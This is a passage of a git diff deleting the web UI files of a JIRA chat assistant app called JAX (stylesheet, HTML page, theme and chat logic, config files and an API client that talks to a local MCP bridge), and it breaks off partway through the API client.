w-full px-4 py-3 bg-slate-900/50 border border-slate-700/50 rounded-xl - text-slate-100 placeholder-slate-500 - focus:outline-none focus:ring-2 focus:ring-indigo-500/50 focus:border-indigo-500/50 - transition-all duration-300; - }} - - /* Modern checkbox */ - .checkbox-modern {{ - @apply appearance-none w-6 h-6 rounded-lg border-2 border-slate-600 bg-slate-800/50 - checked:bg-gradient-to-r checked:from-indigo-500 checked:to-purple-500 - checked:border-transparent cursor-pointer transition-all duration-300 - hover:border-indigo-400 focus:ring-2 focus:ring-indigo-500/50; - }} - - /* Page title with gradient */ - .page-title {{ - @apply text-4xl font-bold bg-gradient-to-r from-indigo-400 via-purple-400 to-pink-400 - bg-clip-text text-transparent; - }} - - /* Back link styling */ - .link-back {{ - @apply inline-flex items-center gap-2 text-slate-400 hover:text-indigo-400 - transition-colors duration-300; - }} -}} - -@layer utilities {{ - .text-balance {{ - text-wrap: balance; - }} -}} -""" - -# ========== Landing Page Pattern ========== - -LANDING_PAGE_WITH_LINKS = """import Link from "next/link"; - -export default function Home() {{ - return ( -
-
-

Welcome

- -
- -
-
-

{Resource}s

-

{link_description}

-
- - - -
- -
-
-
- ); -}} -""" - -# ========== API Route Patterns (Next.js) ========== - -API_ROUTE_GET = """export async function GET() {{ - try {{ - const {resource_plural} = await prisma.{resource}.findMany({{ - orderBy: {{ id: 'desc' }}, - take: 50 - }}); - return NextResponse.json({resource_plural}); - }} catch (error) {{ - console.error('GET /{resource}s error:', error); - return NextResponse.json( - {{ error: 'Failed to fetch {resource}s' }}, - {{ status: 500 }} - ); - }} -}}""" - -API_ROUTE_GET_PAGINATED = """export async function GET(request: Request) {{ - try {{ - const {{ searchParams }} = new URL(request.url); - const page = parseInt(searchParams.get('page') || '1'); - const limit = parseInt(searchParams.get('limit') || '10'); - const skip = (page - 1) * limit; - - const [{resource_plural}, total] = await Promise.all([ - prisma.{resource}.findMany({{ - skip, - take: limit, - orderBy: {{ id: 'desc' }} - }}), - prisma.{resource}.count() - ]); - - return NextResponse.json({{ - {resource_plural}, - pagination: {{ - page, - limit, - total, - pages: Math.ceil(total / limit) - }} - }}); - }} catch (error) {{ - console.error('GET /{resource}s error:', error); - return NextResponse.json( - {{ error: 'Failed to fetch {resource}s' }}, - {{ status: 500 }} - ); - }} -}}""" - -API_ROUTE_POST = """export async function POST(request: Request) {{ - try {{ - const body = await request.json(); - - // Validate request body - const validatedData = {Resource}Schema.parse(body); - - const {resource} = await prisma.{resource}.create({{ - data: validatedData - }}); - - return NextResponse.json({resource}, {{ status: 201 }}); - }} catch (error) {{ - if (error instanceof z.ZodError) {{ - return NextResponse.json( - {{ error: 'Invalid request data', details: error.issues }}, - {{ status: 400 }} - ); - }} - - console.error('POST /{resource}s error:', error); - return NextResponse.json( - {{ error: 'Failed to create {resource}' }}, - {{ status: 500 }} - ); - }} -}}""" - -API_ROUTE_DYNAMIC_GET = """export async function GET( - request: Request, - {{ params }}: {{ params: {{ id: string }} }} -) {{ - try {{ - const id = parseInt(params.id); - - const {resource} = await prisma.{resource}.findUnique({{ - where: {{ id }} - }}); - - if (!{resource}) {{ - return NextResponse.json( - {{ error: '{Resource} not found' }}, - {{ status: 404 }} - ); - }} - - return NextResponse.json({resource}); - }} catch (error) {{ - console.error('GET /{resource}/[id] error:', error); - return NextResponse.json( - {{ error: 'Failed to fetch {resource}' }}, - {{ status: 500 }} - ); - }} -}}""" - -API_ROUTE_DYNAMIC_PATCH = """export async function PATCH( - request: Request, - {{ params }}: {{ params: {{ id: string }} }} -) {{ - try {{ - const id = parseInt(params.id); - const body = await request.json(); - - const validatedData = {Resource}UpdateSchema.parse(body); - - const {resource} = await prisma.{resource}.update({{ - where: {{ id }}, - data: validatedData - }}); - - return NextResponse.json({resource}); - }} catch (error) {{ - if (error instanceof z.ZodError) {{ - return NextResponse.json( - {{ error: 'Invalid update data', details: error.issues }}, - {{ status: 400 }} - ); - }} - - console.error('PATCH /{resource}/[id] error:', error); - return NextResponse.json( - {{ error: 'Failed to update {resource}' }}, - {{ status: 500 }} - ); - }} -}}""" - -API_ROUTE_DYNAMIC_DELETE = """export async function DELETE( - request: Request, - {{ params }}: {{ params: {{ id: string }} }} -) {{ - try {{ - const id = parseInt(params.id); - - await prisma.{resource}.delete({{ - where: {{ id }} - }}); - - return NextResponse.json({{ success: true }}); - }} catch (error) {{ - console.error('DELETE /{resource}/[id] error:', error); - return NextResponse.json( - {{ error: 'Failed to delete {resource}' }}, - {{ status: 500 }} - ); - }} -}}""" - -# ========== Validation Schema Patterns ========== - - -def generate_zod_schema(resource_name: str, fields: dict) -> str: - """Generate Zod validation schema for a resource. - - Args: - resource_name: Name of the resource (e.g., "todo", "user") - fields: Dictionary of field names to types - - Returns: - TypeScript code for Zod schema - """ - schema_fields = [] - for field_name, field_type in fields.items(): - if field_name in ["id", "createdAt", "updatedAt"]: - continue # Skip auto-generated fields - - zod_type = _map_type_to_zod(field_type) - schema_fields.append(f" {field_name}: {zod_type}") - - resource_capitalized = resource_name.capitalize() - - return f"""const {resource_capitalized}Schema = z.object({{ -{','.join(schema_fields)} -}}); - -const {resource_capitalized}UpdateSchema = {resource_capitalized}Schema.partial(); - -type {resource_capitalized} = z.infer;""" - - -def _map_type_to_zod(field_type: str) -> str: - """Map field type to Zod validation type.""" - # Normalize to lowercase for consistent lookup - normalized = field_type.lower() - - type_mapping = { - "string": "z.string().min(1)", - "text": "z.string()", - "int": "z.number().int()", - "number": "z.number().int()", - "float": "z.number()", - "boolean": "z.boolean()", - "date": "z.coerce.date()", - "datetime": "z.coerce.date()", - "timestamp": "z.coerce.date()", - "email": "z.string().email()", - "url": "z.string().url()", - } - return type_mapping.get(normalized, "z.string()") - - -# ========== React Component Patterns ========== - -SERVER_COMPONENT_LIST = """import {{ prisma }} from "@/lib/prisma"; -import Link from "next/link"; -// EXTRA COMPONENT NOTE: Import any previously generated components/helpers as needed. -// import {{ AdditionalComponent }} from "@/components/AdditionalComponent"; - -async function get{Resource}s() {{ - const {resource_plural} = await prisma.{resource}.findMany({{ - orderBy: {{ id: "desc" }}, - take: 50 - }}); - return {resource_plural}; -}} - -export default async function {Resource}sPage() {{ - const {resource_plural} = await get{Resource}s(); - - return ( -
-
- {{/* Header + Custom Components */}} -
-
-

- {Resource}s -

-

- {{{resource_plural}.length === 0 - ? "No items yet. Create your first one!" - : `${{({resource_plural} as any[]).filter(t => !(t as any).completed).length}} pending items`}} -

-
- - {{/* EXTRA COMPONENT NOTE: - Check the plan for other generated components (timer, stats badge, etc.) - and render them here via their imports. Example: - - Remove this placeholder when no extra component is needed. */}} - {{/* */}} -
- - {{/* Add Button */}} -
- - - - - Add New {Resource} - -
- - {{/* List */}} -
- {{{resource_plural}.length === 0 ? ( -
-
- - - -
-

No {resource}s yet

-

Create your first item to get started

- - - - - Create {Resource} - -
- ) : ( -
- {{{resource_plural}.map((item) => ( - -
-
{field_display}
- {{/* EXTRA COMPONENT NOTE: - Check the plan for per-item components that were generated (countdown, - status badge, etc.) and include them here. Example: - - Remove this placeholder if no extra component is needed. */}} - {{/* */}} -
- - ))}} -
- )}} -
-
-
- ); -}}""" - -CLIENT_COMPONENT_FORM = """"use client"; - -import {{ useState, useEffect }} from "react"; -import {{ useRouter }} from "next/navigation"; -import type {{ {Resource} }} from "@prisma/client"; - -interface {Resource}FormProps {{ - initialData?: Partial<{Resource}>; - mode?: "create" | "edit"; -}} - -export function {Resource}Form({{ initialData, mode = "create" }}: {Resource}FormProps) {{ - const router = useRouter(); - const [loading, setLoading] = useState(false); - const [error, setError] = useState(null); - - const [formData, setFormData] = useState({{ -{form_state_fields} - }}); - const dateFields = {date_fields}; - - const normalizePayload = (data: typeof formData) => {{ - if (dateFields.length === 0) {{ - return data; - }} - - const normalized = {{ ...data }}; - - dateFields.forEach((field) => {{ - const value = normalized[field as keyof typeof normalized]; - if (!value) {{ - return; - }} - - const parsedValue = new Date(value as string | number | Date); - if (!Number.isNaN(parsedValue.getTime())) {{ - (normalized as any)[field] = parsedValue.toISOString(); - }} - }}); - - return normalized; - }}; - - // Initialize form with initialData when in edit mode - useEffect(() => {{ - if (initialData && mode === "edit") {{ - setFormData(prev => ({{ - ...prev, - ...Object.fromEntries( - Object.entries(initialData).filter(([key]) => - !["id", "createdAt", "updatedAt"].includes(key) - ) - ) - }})); - }} - }}, [initialData, mode]); - - const handleChange = (e: React.ChangeEvent) => {{ - const {{ name, value, type }} = e.target; - const checked = (e.target as HTMLInputElement).checked; - - setFormData(prev => ({{ - ...prev, - [name]: type === "checkbox" ? checked : type === "number" ? parseFloat(value) : value - }})); - }}; - - const handleSubmit = async (e: React.FormEvent) => {{ - e.preventDefault(); - setLoading(true); - setError(null); - - try {{ - const url = mode === "create" - ? "/api/{resource}s" - : `/api/{resource}s/${{initialData?.id}}`; - - const method = mode === "create" ? "POST" : "PATCH"; - const payload = normalizePayload(formData); - - const response = await fetch(url, {{ - method, - headers: {{ "Content-Type": "application/json" }}, - body: JSON.stringify(payload) - }}); - - if (!response.ok) {{ - const data = await response.json(); - throw new Error(data.error || "Operation failed"); - }} - - router.push("/{resource}s"); - router.refresh(); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - }} finally {{ - setLoading(false); - }} - }}; - - return ( -
-{form_fields} - - {{error && ( -
- {{error}} -
- )}} - -
- - -
-
- ); -}}""" - -CLIENT_COMPONENT_TIMER = """"use client"; - -import {{ useEffect, useMemo, useState }} from "react"; - -interface {{ComponentName}}Props {{ - targetTimestamp?: string; // ISO 8601 string that marks when the countdown ends - durationSeconds?: number; // Fallback duration (seconds) when no timestamp is provided - className?: string; -}} - -const MS_IN_SECOND = 1000; -const MS_IN_MINUTE = 60 * MS_IN_SECOND; -const MS_IN_HOUR = 60 * MS_IN_MINUTE; -const MS_IN_DAY = 24 * MS_IN_HOUR; - -export function {{ComponentName}}({{ - targetTimestamp, - durationSeconds = 0, - className = "", -}}: {{ComponentName}}Props) {{ - const deadlineMs = useMemo(() => {{ - if (targetTimestamp) {{ - const parsed = Date.parse(targetTimestamp); - return Number.isNaN(parsed) ? null : parsed; - }} - if (durationSeconds > 0) {{ - return Date.now() + durationSeconds * MS_IN_SECOND; - }} - return null; - }}, [targetTimestamp, durationSeconds]); - - const [timeLeftMs, setTimeLeftMs] = useState(() => {{ - if (!deadlineMs) return 0; - return Math.max(deadlineMs - Date.now(), 0); - }}); - - useEffect(() => {{ - if (!deadlineMs) {{ - setTimeLeftMs(0); - return; - }} - - const update = () => {{ - setTimeLeftMs(Math.max(deadlineMs - Date.now(), 0)); - }}; - - update(); - - const intervalId = window.setInterval(() => {{ - update(); - if (deadlineMs <= Date.now()) {{ - window.clearInterval(intervalId); - }} - }}, 1000); - - return () => window.clearInterval(intervalId); - }}, [deadlineMs]); - - const isExpired = timeLeftMs <= 0; - - // TIMER_NOTE: derive whichever granularity the feature demands (days, hours, - // minutes, seconds, milliseconds, etc.). Remove unused helpers so the final - // output matches the spec exactly. - const days = Math.floor(timeLeftMs / MS_IN_DAY); - const hours = Math.floor((timeLeftMs % MS_IN_DAY) / MS_IN_HOUR); - const minutes = Math.floor((timeLeftMs % MS_IN_HOUR) / MS_IN_MINUTE); - const seconds = Math.floor((timeLeftMs % MS_IN_MINUTE) / MS_IN_SECOND); - - return ( -
- {{/* TIMER_NOTE: swap this placeholder layout for the requested display. - Emit only the units the user cares about (e.g., just minutes/seconds, - or a full days→hours→minutes breakdown). */}} -
- {{seconds}}s -
- - {{isExpired && ( -

- {{/* TIMER_NOTE: replace this placeholder with the exact completion - copy or follow-up action the prompt describes. */}} - Countdown complete. -

- )}} -
- ); -}}""" - - -CLIENT_COMPONENT_NEW_PAGE = """"use client"; - -import {{ {Resource}Form }} from "@/components/{Resource}Form"; -import Link from "next/link"; - -export default function New{Resource}Page() {{ - return ( -
-
-
- - - - - Back to {Resource}s - -
- -
-

- Create New {Resource} -

- - <{Resource}Form mode="create" /> -
-
-
- ); -}}""" - -SERVER_COMPONENT_DETAIL = """"use client"; - -import {{ useRouter }} from "next/navigation"; -import {{ useState, useEffect }} from "react"; -import Link from "next/link"; - -interface {Resource}Data {{ - id: number; -{interface_fields} - createdAt: string; - updatedAt: string; -}} - -export default function {Resource}EditPage({{ - params -}}: {{ - params: {{ id: string }} -}}) {{ - const router = useRouter(); - const id = parseInt(params.id); - const [loading, setLoading] = useState(true); - const [saving, setSaving] = useState(false); - const [deleting, setDeleting] = useState(false); - const [error, setError] = useState(null); - const [{resource}, set{Resource}] = useState<{Resource}Data | null>(null); - - // Form state - populated from API -{form_state} - - // Fetch data on mount - useEffect(() => {{ - async function fetchData() {{ - try {{ - const response = await fetch(`/api/{resource}s/${{id}}`); - if (!response.ok) {{ - if (response.status === 404) {{ - router.push("/{resource}s"); - return; - }} - throw new Error("Failed to fetch {resource}"); - }} - const data = await response.json(); - set{Resource}(data); - // Populate form fields -{populate_fields} - setLoading(false); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - setLoading(false); - }} - }} - fetchData(); - }}, [id, router]); - - const handleSave = async (e: React.FormEvent) => {{ - e.preventDefault(); - setSaving(true); - setError(null); - - try {{ - const response = await fetch(`/api/{resource}s/${{id}}`, {{ - method: "PATCH", - headers: {{ "Content-Type": "application/json" }}, - body: JSON.stringify({{ -{save_body} - }}), - }}); - - if (!response.ok) {{ - const data = await response.json(); - throw new Error(data.error || "Failed to update {resource}"); - }} - - router.push("/{resource}s"); - router.refresh(); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - setSaving(false); - }} - }}; - - const handleDelete = async () => {{ - if (!confirm("Are you sure you want to delete this {resource}?")) {{ - return; - }} - - setDeleting(true); - setError(null); - - try {{ - const response = await fetch(`/api/{resource}s/${{id}}`, {{ - method: "DELETE" - }}); - - if (!response.ok) {{ - throw new Error("Failed to delete {resource}"); - }} - - router.push("/{resource}s"); - router.refresh(); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - setDeleting(false); - }} - }}; - - if (loading) {{ - return ( -
-
Loading...
-
- ); - }} - - if (!{resource}) {{ - return ( -
-
{Resource} not found
-
- ); - }} - - return ( -
-
-
- - - - - Back to {Resource}s - -
- -
-

- Edit {Resource} -

- - {{error && ( -
- {{error}} -
- )}} - -
-{form_fields} - -
- - -
-
- -
-

Created: {{new Date({resource}.createdAt).toLocaleString()}}

-

Updated: {{new Date({resource}.updatedAt).toLocaleString()}}

-
-
-
-
- ); -}}""" - -CLIENT_COMPONENT_ACTIONS = """"use client"; - -import {{ useRouter }} from "next/navigation"; -import {{ useState }} from "react"; -import {{ {Resource}Form }} from "@/components/{Resource}Form"; -import type {{ {Resource} }} from "@prisma/client"; - -interface {Resource}ActionsProps {{ - {resource}Id: number; - {resource}Data?: {Resource}; -}} - -export function {Resource}Actions({{ {resource}Id, {resource}Data }}: {Resource}ActionsProps) {{ - const router = useRouter(); - const [isEditing, setIsEditing] = useState(false); - const [deleting, setDeleting] = useState(false); - const [error, setError] = useState(null); - - const handleDelete = async () => {{ - if (!confirm("Are you sure you want to delete this {resource}?")) {{ - return; - }} - - setDeleting(true); - setError(null); - - try {{ - const response = await fetch(`/api/{resource}s/${{{resource}Id}}`, {{ - method: "DELETE" - }}); - - if (!response.ok) {{ - throw new Error("Failed to delete {resource}"); - }} - - router.push("/{resource}s"); - router.refresh(); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - setDeleting(false); - }} - }}; - - if (isEditing && {resource}Data) {{ - return ( -
-
-
-
-

Edit {Resource}

- -
-
-
- <{Resource}Form initialData={{{resource}Data}} mode="edit" /> -
-
-
- ); - }} - - return ( -
- {{error && ( -
- {{error}} -
- )}} - - -
- ); -}}""" - -CLIENT_COMPONENT_DETAIL_PAGE = """"use client"; - -import {{ useState, useEffect }} from "react"; -import {{ useRouter }} from "next/navigation"; -import {{ {Resource}Form }} from "@/components/{Resource}Form"; -import Link from "next/link"; - -interface {Resource} {{ - id: number; -{type_fields} - createdAt: Date; - updatedAt: Date; -}} - -export default function {Resource}DetailPage({{ params }}: {{ params: {{ id: string }} }}) {{ - const router = useRouter(); - const [{resource}, set{Resource}] = useState<{Resource} | null>(null); - const [error, setError] = useState(null); - const [loading, setLoading] = useState(true); - const [deleting, setDeleting] = useState(false); - - useEffect(() => {{ - fetch{Resource}(); - }}, [params.id]); - - const fetch{Resource} = async () => {{ - try {{ - const response = await fetch(`/api/{resource}s/${{params.id}}`); - if (!response.ok) {{ - throw new Error("Failed to fetch {resource}"); - }} - const data = await response.json(); - set{Resource}(data); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - }} finally {{ - setLoading(false); - }} - }}; - - const handleDelete = async () => {{ - if (!confirm("Are you sure you want to delete this {resource}?")) return; - - setDeleting(true); - try {{ - const response = await fetch(`/api/{resource}s/${{params.id}}`, {{ - method: "DELETE" - }}); - - if (!response.ok) {{ - throw new Error("Failed to delete {resource}"); - }} - - router.push("/{resource}s"); - router.refresh(); - }} catch (err) {{ - setError(err instanceof Error ? err.message : "An error occurred"); - setDeleting(false); - }} - }}; - - if (loading) {{ - return ( -
-
Loading...
-
- ); - }} - - if (error || !{resource}) {{ - return ( -
-
-

{{error || "{Resource} not found"}}

- - Back to {Resource}s - -
-
- ); - }} - - return ( -
-
- - ← Back to {Resource}s - -
- -

Edit {Resource}

- - <{Resource}Form initialData={{{resource}}} mode="edit" /> - -
- -
- -
-

Created: {{new Date({resource}.createdAt).toLocaleString()}}

-

Updated: {{new Date({resource}.updatedAt).toLocaleString()}}

-
-
- ); -}}""" - - -def generate_form_field(field_name: str, field_type: str) -> str: - """Generate a form field based on type with modern styling.""" - input_type = { - "string": "text", - "text": "textarea", - "number": "number", - "email": "email", - "url": "url", - "boolean": "checkbox", - "date": "date", - }.get(field_type.lower(), "text") - - label = field_name.replace("_", " ").title() - - if input_type == "textarea": - return f"""
- - - -
- -
- - - - - - - \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/public/js/app.js b/src/gaia/apps/jira/webui/public/js/app.js deleted file mode 100644 index 1df53e64f..000000000 --- a/src/gaia/apps/jira/webui/public/js/app.js +++ /dev/null @@ -1,299 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -import { ChatUI } from './modules/chat-ui.js'; -import { ApiClient } from './modules/api-client.js'; -import { ResultsPanel } from './modules/results-panel.js'; - -class JaxDashboardApp { - constructor() { - this.apiClient = new ApiClient(); - this.chatUI = new ChatUI(); - this.resultsPanel = new ResultsPanel(); - this.connected = false; - this.config = null; - this.initializeApp(); - } - - async initializeApp() { - // Initialize theme - this.initializeTheme(); - - // Load app config - try { - this.config = await this.apiClient.getConfig(); - console.log('App initialized:', this.config); - this.updateAppInfo(this.config); - } catch (error) { - console.error('Failed to load config:', error); - } - - // Set up event listeners - this.setupEventListeners(); - - // Check connection - await this.checkConnection(); - - // Show welcome message - this.chatUI.addMessage('Welcome to JAX! Ask me about your JIRA issues, projects, or use the navigation buttons.', 'system'); - - // Check connection periodically - setInterval(() => this.checkConnection(), 30000); - } - - initializeTheme() { - // Check for saved theme preference or system preference - const savedTheme = localStorage.getItem('theme'); - const systemPrefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches; - - const theme = savedTheme || (systemPrefersDark ? 'dark' : 'light'); - document.documentElement.setAttribute('data-theme', theme); - - // Update toggle button icons - this.updateThemeToggleIcon(theme); - - // Setup theme toggle - const themeToggle = document.getElementById('theme-toggle'); - if (themeToggle) { - themeToggle.addEventListener('click', () => this.toggleTheme()); - } - } - - toggleTheme() { - const currentTheme = document.documentElement.getAttribute('data-theme') || 'light'; - const newTheme = currentTheme === 'dark' ? 'light' : 'dark'; - - document.documentElement.setAttribute('data-theme', newTheme); - localStorage.setItem('theme', newTheme); - this.updateThemeToggleIcon(newTheme); - } - - updateThemeToggleIcon(theme) { - const sunIcon = document.querySelector('.sun-icon'); - const moonIcon = document.querySelector('.moon-icon'); - - if (theme === 'dark') { - if (sunIcon) sunIcon.style.display = 'none'; - if (moonIcon) moonIcon.style.display = 'block'; - } else { - if (sunIcon) sunIcon.style.display = 'block'; - if (moonIcon) moonIcon.style.display = 'none'; - } - } - - setupEventListeners() { - // Send message - const sendBtn = document.getElementById('send-btn'); - const messageInput = document.getElementById('message-input'); - - sendBtn.addEventListener('click', () => this.sendMessage()); - messageInput.addEventListener('keydown', (e) => { - if (e.key === 'Enter' && !e.shiftKey) { - e.preventDefault(); - this.sendMessage(); - } - }); - - // Clear chat - const clearChatBtn = document.getElementById('clear-chat'); - if (clearChatBtn) { - clearChatBtn.addEventListener('click', () => { - this.chatUI.clearMessages(); - }); - } - - // Navigation buttons with data-command - document.querySelectorAll('.nav-btn[data-command]').forEach(btn => { - btn.addEventListener('click', (e) => { - // Remove active from all nav buttons - document.querySelectorAll('.nav-btn').forEach(b => b.classList.remove('active')); - // Add active to clicked button - btn.classList.add('active'); - // Send the command to chat - const command = btn.dataset.command; - if (command) { - this.sendMessage(command); - } - }); - }); - - // Settings button - const settingsBtn = document.querySelector('.nav-btn[data-view="settings"]'); - if (settingsBtn) { - settingsBtn.addEventListener('click', () => { - document.querySelectorAll('.nav-btn').forEach(b => b.classList.remove('active')); - settingsBtn.classList.add('active'); - this.showSettings(); - }); - } - - // Action cards in main content - document.querySelectorAll('.action-card[data-command]').forEach(card => { - card.addEventListener('click', (e) => { - const command = card.dataset.command; - if (command) { - // Update corresponding nav button - const navBtn = document.querySelector(`.nav-btn[data-command="${command}"]`); - if (navBtn) { - document.querySelectorAll('.nav-btn').forEach(b => b.classList.remove('active')); - navBtn.classList.add('active'); - } - this.sendMessage(command); - } - }); - }); - - // Refresh button - const refreshBtn = document.getElementById('refresh-btn'); - if (refreshBtn) { - refreshBtn.addEventListener('click', () => { - const activeBtn = document.querySelector('.nav-btn.active[data-command]'); - if (activeBtn && activeBtn.dataset.command) { - this.sendMessage(activeBtn.dataset.command); - } - }); - } - } - - async sendMessage(messageText = null) { - const input = document.getElementById('message-input'); - const message = messageText || input.value.trim(); - - if (!message) return; - - // Check connection first - if (!this.connected) { - this.chatUI.addMessage('Not connected to GAIA MCP Bridge. Please ensure it is running with: gaia mcp start', 'error'); - return; - } - - // Disable input while processing - const sendBtn = document.getElementById('send-btn'); - const btnText = sendBtn.querySelector('.btn-text'); - const btnSpinner = sendBtn.querySelector('.btn-spinner'); - - input.disabled = true; - sendBtn.disabled = true; - - // Show spinner - if (btnText) btnText.style.display = 'none'; - if (btnSpinner) btnSpinner.style.display = 'inline-block'; - - // Add user message to chat (only if from input, not from button click) - if (!messageText) { - this.chatUI.addMessage(message, 'user'); - input.value = ''; - } else { - // Show command being executed - this.chatUI.addMessage(message, 'user'); - } - - try { - // Send to API - const response = await this.apiClient.sendMessage(message); - console.log('API Response:', response); - - // Add assistant response - this.chatUI.addMessage(response.message, 'assistant'); - - // Show results in the middle column - if (response.data) { - console.log('Showing results in panel:', response.data); - this.resultsPanel.show(response.data); - } else { - console.log('No data to show in results panel'); - } - } catch (error) { - this.chatUI.addMessage(`Error: ${error.message}`, 'error'); - // Check connection again in case it was lost - await this.checkConnection(); - } finally { - // Re-enable input and hide spinner - input.disabled = false; - sendBtn.disabled = false; - - // Hide spinner, show text - if (btnText) btnText.style.display = 'inline-block'; - if (btnSpinner) btnSpinner.style.display = 'none'; - - input.focus(); - } - } - - handleNavigation(view) { - // This method is no longer needed with the new layout - // Navigation is handled directly in setupEventListeners - } - - showSettings() { - // In a browser environment, we can't access import.meta directly - // It will be replaced by Vite at build time - const env = this.config?.environment || 'development'; - this.chatUI.addMessage( - 'Settings:\n\n' + - '• MCP Bridge URL: ' + this.apiClient.mcpBaseUrl + '\n' + - '• Connected: ' + (this.connected ? 'Yes ✅' : 'No ❌') + '\n' + - '• Environment: ' + env + '\n' + - '• Version: ' + (this.config?.version || '1.0.0') + '\n\n' + - (this.connected - ? 'Connection is active and healthy.' - : 'MCP Bridge is not running. Start it with:\n gaia mcp start'), - 'system' - ); - } - - async checkConnection() { - const statusEl = document.getElementById('connection-status'); - const sendBtn = document.getElementById('send-btn'); - - try { - this.connected = await this.apiClient.checkConnection(); - } catch (error) { - console.error('Connection check failed:', error); - this.connected = false; - } - - // Update UI based on connection status - statusEl.classList.toggle('connected', this.connected); - statusEl.querySelector('.status-text').textContent = - this.connected ? 'Connected' : 'Disconnected'; - - // Update send button state - if (!this.connected) { - sendBtn.title = 'MCP Bridge not connected'; - } else { - sendBtn.title = 'Send message'; - } - - return this.connected; - } - - updateAppInfo(config) { - // Update version in sidebar - const versionEl = document.querySelector('.sidebar-header .version'); - if (versionEl && config.version) { - versionEl.textContent = `v${config.version}`; - } - - // Update page title - if (config.displayName) { - document.title = config.displayName; - } - } -} - -// Initialize app when DOM is ready -console.log('App script loaded, checking DOM state...'); - -// Check if DOM is already loaded (which happens when script is loaded dynamically) -if (document.readyState === 'loading') { - console.log('DOM still loading, waiting...'); - document.addEventListener('DOMContentLoaded', () => { - console.log('DOM ready event fired, initializing app...'); - window.app = new JaxDashboardApp(); - }); -} else { - // DOM is already loaded - console.log('DOM already loaded, initializing app immediately...'); - window.app = new JaxDashboardApp(); -} \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/public/js/config.js b/src/gaia/apps/jira/webui/public/js/config.js deleted file mode 100644 index 640b7b3c8..000000000 --- a/src/gaia/apps/jira/webui/public/js/config.js +++ /dev/null @@ -1,21 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// JAX Configuration -// -// To override these settings locally: -// 1. Create a file called 'config.local.js' in the same directory -// 2. Override any settings you want, e.g.: -// window.APP_CONFIG = { MCP_BASE_URL: 'https://your-ngrok-url.ngrok-free.app' }; -// 3. The config.local.js file is gitignored and won't be committed - -window.APP_CONFIG = { - // GAIA MCP Bridge URL - MCP_BASE_URL: 'http://localhost:8765', - - // Enable debug logging in console - DEBUG: false, - - // Application environment - ENVIRONMENT: 'development' -}; \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/public/js/config.local.js.example b/src/gaia/apps/jira/webui/public/js/config.local.js.example deleted file mode 100644 index 56d3ffd69..000000000 --- a/src/gaia/apps/jira/webui/public/js/config.local.js.example +++ /dev/null @@ -1,9 +0,0 @@ -// Example local configuration override -// Copy this file to 'config.local.js' and modify as needed -// config.local.js is gitignored and won't be committed - -// Example: Override MCP Bridge URL for remote access -window.APP_CONFIG = Object.assign(window.APP_CONFIG || {}, { - MCP_BASE_URL: 'https://your-ngrok-url.ngrok-free.app', - DEBUG: true -}); \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/public/js/modules/api-client.js b/src/gaia/apps/jira/webui/public/js/modules/api-client.js deleted file mode 100644 index 5e24c6c40..000000000 --- a/src/gaia/apps/jira/webui/public/js/modules/api-client.js +++ /dev/null @@ -1,249 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -export class ApiClient { - constructor() { - // Check if running in Electron - this.isElectron = window.electronAPI !== undefined; - - // Get configuration - prioritize GAIA_MCP_URL from environment - const config = window.APP_CONFIG || {}; - // First check for environment variable injected by dev-server (like in mcp-status app) - // Then fall back to config file - this.mcpBaseUrl = window.ENV?.GAIA_MCP_URL || config.MCP_BASE_URL || 'http://localhost:8765'; - this.debug = config.DEBUG || false; - - // Always log the configuration for debugging - console.log('API Client initialized:', { - isElectron: this.isElectron, - mcpBaseUrl: this.mcpBaseUrl, - debug: this.debug, - fullConfig: window.APP_CONFIG, - env: window.ENV - }); - } - - async getConfig() { - if (this.isElectron && window.electronAPI?.getConfig) { - const config = await window.electronAPI.getConfig(); - // Update MCP URL from Electron config if provided - if (config.mcpUrl) { - this.mcpBaseUrl = config.mcpUrl; - if (this.debug) { - console.log('Updated MCP URL from Electron config:', this.mcpBaseUrl); - } - } - return config; - } - - // In development, return a default config - const appConfig = window.APP_CONFIG || {}; - return { - name: 'jira', - displayName: 'JAX', - version: '1.0.0', - environment: appConfig.ENVIRONMENT || 'development' - }; - } - - async sendMessage(message) { - // In Electron mode, use IPC - if (this.isElectron && window.electronAPI?.invoke) { - const result = await window.electronAPI.invoke('jira:query', message); - if (result.success) { - return { - message: this.formatJiraResponse(result.data), - data: result.data - }; - } else { - throw new Error(result.error); - } - } - - // Call MCP Bridge directly - try { - console.log('Sending request to:', `${this.mcpBaseUrl}/jira`); - console.log('Request body:', { query: message }); - - const response = await fetch(`${this.mcpBaseUrl}/jira`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ query: message }) - }); - - if (!response.ok) { - throw new Error(`MCP Bridge returned ${response.status}: ${response.statusText}`); - } - - const result = await response.json(); - if (this.debug) { - console.log('Raw MCP response:', result); - } - - // Check if it's an error response - if (result.error) { - if (this.debug) { - console.error('MCP Error:', result.error); - } - return { - message: `Error: ${result.error}`, - data: null - }; - } - - // Handle MCP bridge response format (success, result, conversation) - if (result.success) { - // Check if we have conversation data with issues - if (result.conversation && Array.isArray(result.conversation)) { - // Look for system messages with issues data - for (const msg of result.conversation) { - if (msg.role === 'system' && msg.content && msg.content.issues) { - console.log('Found issues in conversation:', msg.content.issues); - return { - message: `Found ${msg.content.total || msg.content.issues.length} issue(s)`, - data: { - type: 'issues', - items: msg.content.issues - } - }; - } - } - - // Look for the final assistant answer - const lastAssistant = result.conversation.filter(m => m.role === 'assistant').pop(); - if (lastAssistant && lastAssistant.content && lastAssistant.content.answer) { - return { - message: lastAssistant.content.answer, - data: null - }; - } - } - - // If result field exists and has content - if (result.result) { - // The actual response is in 